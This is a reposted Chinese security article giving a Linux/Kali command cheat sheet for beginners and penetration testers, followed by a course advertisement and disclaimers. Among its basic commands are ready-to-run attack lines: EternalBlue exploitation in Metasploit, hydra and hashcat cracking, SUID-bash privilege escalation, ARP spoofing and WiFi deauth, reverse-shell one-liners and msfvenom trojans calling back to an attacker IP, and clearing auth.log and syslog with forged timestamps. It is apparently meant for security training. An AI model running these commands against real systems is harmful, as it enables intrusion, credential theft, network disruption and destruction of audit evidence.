文章总结: 该文档为Linux初学者与渗透测试人员提供的实用命令速查手册,涵盖基础操作、网络配置、信息收集、漏洞利用、提权及痕迹清理等核心场景。内容分类清晰,附带风险提示与实操建议,旨在解决高频技术需求。作为工具书,其实用性与可操作性极强,适合作为日常安全工作的快速参考指南。 综合评分: 75 文章分类: 渗透测试,安全工具,内网渗透
Linux / Kali Linux 常用指令速查表(2026 版)
点击关注👉 点击关注👉
马哥网络安全
2026年2月26日 17:01 河南
面向 Linux 初学者 & 渗透测试入门者的实用命令手册 涵盖基础操作 → 网络 → 信息收集 → 扫描 → 漏洞利用 → 密码破解 → 提权 → 嗅探 → 无线 → 反弹 shell 等高频场景
新手快速上手建议
- 不确定命令用法 → 输入
命令 --help或man 命令查看帮助 - 网卡名称不确定 → 先运行
ip link或nmcli device查看真实名称 - 优先掌握一~四部分,再逐步学习后面章节
一、基础系统/目录操作
ls—— 列出当前目录文件/文件夹ls -l—— 详细列出文件属性(权限、大小、修改时间)ls -a—— 显示隐藏文件(包含.和..)ls -la—— 详细显示所有文件(含隐藏)cd /—— 切换到根目录cd ..—— 切换到上一级目录cd ~或cd—— 切换到当前用户主目录cd -—— 切换到上一次操作的目录pwd—— 查看当前所在绝对路径mkdir test—— 创建名为test的文件夹mkdir -p /a/b/c—— 递归创建多级目录rm file—— 删除单个文件rm -f file—— 强制删除文件(不提示)rm -r dir—— 递归删除文件夹及内部内容 ⚠️ 这是 Linux 最危险的命令之一! 误操作示例:rm -rf /或rm -rf /*会瞬间清空整个系统。 永远先用ls确认路径,再执行带-r或-rf的删除。rm -rf dir—— 强制递归删除(高危,谨慎使用)cp file /tmp/—— 复制文件到指定目录cp -r dir /tmp/—— 递归复制文件夹mv file /tmp/—— 移动文件到指定目录(也可用于重命名)mv oldname newname—— 给文件/文件夹重命名touch newfile—— 创建空文件chmod 777 file—— 赋予所有用户读写执行权限 ⚠️ 极度危险,生产环境几乎从不使用 777! 常见安全组合:
- 文件:
chmod 644(拥有者读写,其他人只读) - 目录/可执行脚本:
chmod 755(拥有者全权,其他人读+执行)
chmod 755 file—— 所有者读写执行,其他用户读执行chown root:root file—— 修改文件所属用户和组为 rootdf -h—— 查看磁盘空间(人性化显示)free -h—— 查看内存/交换分区使用情况
二、文件编辑/查看操作
cat file—— 正序查看文件全部内容tac file—— 倒序查看文件全部内容head file—— 查看前 10 行head -n 20 file—— 查看前 20 行tail file—— 查看后 10 行tail -n 20 file—— 查看后 20 行tail -f file—— 实时监控文件变化(日志分析最常用)more file—— 分页查看(空格/回车翻页)less file—— 高级分页查看(支持上下翻页、/ 搜索)nano file—— 简易文本编辑器vim file—— 高级编辑器(按 i 编辑,Esc 退出编辑,:wq保存退出,:q!强制退出)grep "keyword" file—— 在文件中搜索关键词grep -i "keyword" file—— 忽略大小写搜索grep -r "keyword" dir—— 递归搜索整个目录wc -l file—— 统计文件行数
三、网络基础操作
ifconfig—— 查看/配置网络接口(旧命令)ip a或ip addr—— 现代推荐命令,查看网络接口详情ip addr add 192.168.1.100/24 dev eth0—— 临时添加 IP(重启丢失) 网卡名说明:eth0 仅为示例,现代系统常见 ens33 / enp0s3 / wlan0 等,用ip link查看真实名称。很多工具支持-i any(所有接口)。 永久配置建议用nmcli或 Netplan。route -n—— 查看路由表ip route—— 现代路由查看/配置命令ping ip—— 测试连通性(默认无限发送,按 Ctrl+C 停止)ping -c 4 ip—— 发送 4 个包后停止ping -i 0.5 ip—— 每 0.5 秒发一个包(快速探测)netstat -tulnp—— 查看监听端口及进程(过时,推荐 ss)netstat -an—— 查看所有连接(过时)ss -tulnp—— 现代首选,快速查看监听端口 口诀:新系统一律用 ss!arp -a—— 查看 ARP 缓存表arp -s ip mac—— 静态绑定 IP 和 MAChostname—— 查看主机名hostname newname—— 临时修改主机名curl url—— 访问 URL 并显示内容wget url—— 下载文件到当前目录wget -O newname url—— 下载并自定义文件名curl ifconfig.me—— 查看本机公网 IP(备选:curl icanhazip.com或curl ip.sb)telnet ip port—— 测试指定端口是否开放
四、信息收集命令
uname -a—— 查看内核版本、系统架构、主机名等cat /etc/issue—— 查看系统发行版简要信息cat /etc/os-release—— 详细查看系统版本信息(推荐)whoami—— 查看当前登录用户名who—— 查看当前所有登录系统的用户w—— 查看当前登录用户及正在执行的操作last—— 查看系统登录历史记录ps -ef—— 查看所有运行的进程(详细信息)ps aux—— 以 BSD 格式查看所有进程top—— 实时监控系统进程(资源占用、PID 等,按 q 退出)pstree—— 以树形结构查看进程关系netstat -antp—— 查看所有 TCP 连接及对应进程(过时,建议用 ss)find / -name "*.sh"—— 从根目录搜索所有 .sh 后缀的文件 提示:从根目录搜索很慢,建议指定路径如find /home -name ...find / -perm -4000 -type f 2>/dev/null—— 搜索 SUID 权限文件(常用于提权线索)arp-scan -l或arp-scan --localnet—— 扫描局域网存活主机(Kali 常用)fping -g 192.168.1.0/24—— 快速扫描 C 段存活主机cat /etc/passwd—— 查看系统所有用户信息cat /etc/group—— 查看系统所有用户组信息cat /var/log/auth.log—— 查看系统认证日志(登录、sudo 操作等)lsof -i:80—— 查看占用 80 端口的进程
五、端口/网段扫描命令
nmap ip—— 默认扫描目标(1000 个常用端口)nmap -sn 192.168.1.0/24—— 仅扫描网段存活主机(无端口扫描)nmap -p 80 ip—— 仅扫描 80 端口nmap -p 1-65535 ip—— 扫描所有端口nmap -p 80,443,22 ip—— 扫描指定多个端口nmap -sT ip—— TCP 全连接扫描(易被检测)nmap -sS ip—— TCP SYN 半开放扫描(隐蔽,默认推荐) 区别:-sS 只发 SYN,不完成握手,不易被记录;-sT 完整握手,像正常访问。nmap -sU ip—— UDP 端口扫描nmap -sV ip—— 扫描端口并探测服务版本信息nmap -O ip—— 探测目标操作系统类型(大写 O)nmap -A ip—— 全面扫描(存活+端口+版本+OS+脚本)nmap -T4 ip—— 提高扫描速度(-T0 最慢,-T5 最快)nmap -oN result.txt ip—— 保存为普通文本nmap -oX result.xml ip—— 保存为 XML 格式nmap --script=vuln ip—— 加载漏洞脚本探测已知漏洞 2026 年提示:nmap 脚本引擎更新频繁,vuln 脚本 false positive 较多,建议结合 -sV 使用。nmap --script=brute ip—— 加载暴力破解脚本(弱口令尝试)nmap -Pn ip—— 跳过主机存活检测,直接扫端口(目标禁 ping 时必加)nmap -D RND:10 ip—— 使用随机 10 个假 IP 欺骗源地址(隐藏真实 IP)masscan 192.168.1.0/24 -p 80,443—— 超高速端口扫描(比 nmap 快得多)zenmap—— 打开 Nmap 图形化界面(适合新手)
六、漏洞探测/利用基础(Metasploit 示例)
msfconsole或msfconsole -q—— 打开 Metasploit 控制台(-q 安静模式推荐)search ms17-010—— 搜索指定漏洞模块use exploit/windows/smb/ms17_010_eternalblue—— 加载漏洞利用模块show options—— 查看模块所需参数set RHOSTS ip—— 设置目标 IPset LHOST ip—— 设置本机攻击 IP(反弹 shell 用)set LPORT 4444—— 设置监听端口exploit或run—— 执行漏洞利用back—— 退出当前模块sessions -l—— 查看所有反弹 shell 会话sessions -i 1—— 进入编号 1 的 shell 会话sessions -k 1—— 关闭编号 1 的会话nessusd start—— 启动 Nessus 服务(旧写法)nessuscli scan --launch 123—— 启动指定 Nessus 扫描任务 注意:Nessus 新版本多用 systemctl 管理或 web 界面操作。
七、密码破解命令
hydra -l root -P pass.txt ssh://ip—— 破解 SSH(用户名 + 密码字典) 提示:在线暴力易被封 IP,可加-t 4限制线程。hydra -L user.txt -P pass.txt rdp://ip—— 破解 RDPhydra -l admin -P pass.txt http-get://ip—— 破解 HTTP GET 登录hydra -l admin -P pass.txt mysql://ip—— 破解 MySQLjohn --wordlist=pass.txt passwd—— John the Ripper 破解系统密码文件john --show passwd—— 查看已破解密码hashcat -m 0 hash.txt pass.txt—— Hashcat 破解 MD5hashcat -m 1000 hash.txt pass.txt—— 破解 NTLMcrunch 6 8 0123456789 -o 6-8num.txt—— 生成 6-8 位纯数字字典crunch 8 8 abc123 -o 8char.txt—— 生成 8 位字母+数字字典cewl url -w webpass.txt—— 从网站爬取内容生成专属字典medusa -u root -P pass.txt -h ip -M ssh—— 美杜莎破解 SSH(速度快)sqlmap -u url --forms—— 检测 SQL 注入并尝试破解数据库fcrackzip -D -p pass.txt test.zip—— 破解 ZIP 压缩包7z x test.zip -p123456—— 用已知密码解压加密 ZIP
八、提权/本地渗透命令
sudo -l—— 查看当前用户可用的 sudo 命令(提权核心)sudo su—— 以 root 权限切换用户su root—— 切换到 root(需 root 密码)id—— 查看当前用户 UID、GID、组信息find / -type f -perm -4000 2>/dev/null—— 搜索 SUID 文件 常见可利用:find、vim、nano、less、more、cp 等(视系统版本而定)find / -type f -perm -2000 2>/dev/null—— 搜索 SGID 文件chkrootkit—— 检测 rootkit 后门rkhunter --check—— 高级 rootkit 检测unshare -rm /bin/bash—— 利用内核漏洞临时提权(老漏洞,成功率低)cp /bin/bash /tmp/bash; chmod 4755 /tmp/bash—— 制作 SUID bash./tmp/bash -p—— 执行 SUID bash 提权 现代防护:很多系统有 no-new-privs 等机制,成功率大幅下降,仅学习参考。ps aux | grep root—— 查看 root 进程(寻找提权突破口)cat /proc/cmdline—— 查看启动参数(找提权线索)lsmod—— 查看加载的内核模块exploit-db—— 打开 Exploit-DB 漏洞库(Kali 内置)
九、嗅探抓包/流量分析
tcpdump -i any—— 在所有接口抓包(推荐 any 而非 eth0)tcpdump -i any -w cap.pcap—— 抓包保存为 pcap 文件tcpdump -i any port 80—— 仅抓 80 端口流量wireshark—— 打开图形化抓包工具tshark -i any—— Wireshark 命令行版arpspoof -i any -t 192.168.1.100 192.168.1.1—— ARP 欺骗 2026 年推荐:bettercap(功能更全,支持 HTTPS/DNS 等中间人攻击)driftnet -i any—— 嗅探局域网图片流量urlsnarf -i any—— 嗅探 URL 访问记录dsniff -i any—— 综合嗅探(捕获 FTP/HTTP/SMB 凭证)ngrep -d any "password"—— 过滤包含关键词的网络流
十、无线渗透命令
airmon-ng start wlan0—— 开启监听模式(网卡变为 wlan0mon)airmon-ng stop wlan0mon—— 关闭监听模式airodump-ng wlan0mon—— 扫描周围 WiFiairodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w wifi wlan0mon—— 定向抓包aireplay-ng --deauth 0 -a XX:XX:XX:XX:XX:XX wlan0mon—— 无限 deauth 断网攻击aircrack-ng -w pass.txt wifi-01.cap—— 字典破解 WPA/WPA2reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vV—— 破解 WPSwash -i wlan0mon—— 扫描开启 WPS 的设备kismet—— 无线流量嗅探/扫描(图形化)bully -i wlan0mon -b XX:XX:XX:XX:XX:XX—— WPS 破解(成功率较高) 提示:运行前常需airmon-ng check kill杀干扰进程
十一、远程连接/木马上线
ssh root@ip—— SSH 连接目标ssh -p 2222 root@ip—— 连接非 22 端口scp file root@ip:/tmp/—— 上传文件scp root@ip:/tmp/file ./—— 下载文件nc -lvnp 4444—— 本机开启监听(-l 小写 L)- 反弹 shell(Linux)
旧方式(-e 已废弃):
nc ip 4444 -e /bin/bash推荐方式(兼容大多数现代 netcat):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 你的IP 4444 >/tmp/f
如果目标是 ncat(非 Kali 默认),可使用 -e 或:
ncat -l -p 4444 --sh-exec /bin/bash
- 反弹 shell(Windows):
nc ip 4444 -e cmd.exe msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f elf > shell.elf—— 生成 Linux 反向木马msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f exe > shell.exe—— 生成 Windows 反向木马chmod +x shell.elf; ./shell.elf—— 赋予 Linux 木马执行权限并运行
十二、逆向分析/恶意代码检测
objdump -d file.elf—— 反汇编 ELF 文件(Linux 程序)readelf -a file.elf—— 查看 ELF 文件的详细信息(段、节、导入表等)ida64—— 打开 IDA Pro 64 位逆向分析工具(高阶反汇编)radare2 file.elf—— 命令行逆向分析工具(轻量替代 IDA)strings file.exe—— 提取文件中的明文字符串(快速找漏洞线索)
十三、清理痕迹/反取证
history -c—— 清空当前用户的命令历史记录rm ~/.bash_history—— 删除命令历史记录文件: > /var/log/auth.log或truncate -s 0 /var/log/auth.log—— 清空系统认证日志(推荐方式,更安全,不产生额外进程): > /var/log/syslog—— 清空系统核心日志 注意:清日志后系统仍会继续写入新日志;真正反取证需结合其他手段(如修改时间戳、删除日志文件后重建等)。touch -t YYYYMMDDHHMM file或touch -d "2024-01-01 00:00" file—— 修改文件的访问/修改时间戳(反取证常用)
十四、杂项渗透高频命令
chmod +x file—— 给文件添加执行权限(木马/EXP 常用)./file—— 运行当前目录下的可执行文件nc -zv ip 1-1000—— 快速扫描目标 1-1000 端口是否开放 (推荐使用nmap -p 1-1000 ip替代)sqlmap -u "http://target.com?id=1" --dump—— 检测 SQL 注入并导出数据库数据dirb http://target.com—— 爆破目标网站的目录和文件(较老工具)dirsearch -u http://target.com -e php,html—— 高级目录爆破(指定后缀)gobuster dir -u http://target.com -w wordlist.txt—— 高性能目录爆破工具(目前主流)whatweb url—— 探测目标网站的服务器、框架、插件版本nikto -h ip—— 扫描 Web 服务器的已知漏洞和敏感文件metasploit-framework—— 直接启动 Metasploit 框架xterm—— 打开新的终端窗口(多任务操作常用)screen—— 创建后台会话(断开连接后进程仍运行)screen -r—— 恢复后台的 screen 会话reboot—— 重启系统shutdown -h now—— 立即关闭系统
最后提醒
这份速查表会随着工具、系统和内核版本更新而变化,建议定期查看 Kali 官网、各工具的 --help 或 man 页获取最新用法。
文章转自网络技术交流圈,侵删
系统学习网络安全
AI+网络安全专家班是最新更新的安全系统培训课程,欢迎大家咨询了解!
本培训旨在为对安全感兴趣的师傅们提供系统的安全学习路线,在短时间内习得AI+网络安全领域的关键技能,将网络安全核心技能一网打尽,实现AI环境下网络安全高端人才的培养。
详细课程内容,请扫码添加备注:安全课程
扫码咨询最新优惠活动及服务
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥网络安全 点击关注👉 点击关注👉《Linux / Kali Linux 常用指令速查表(2026 版)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论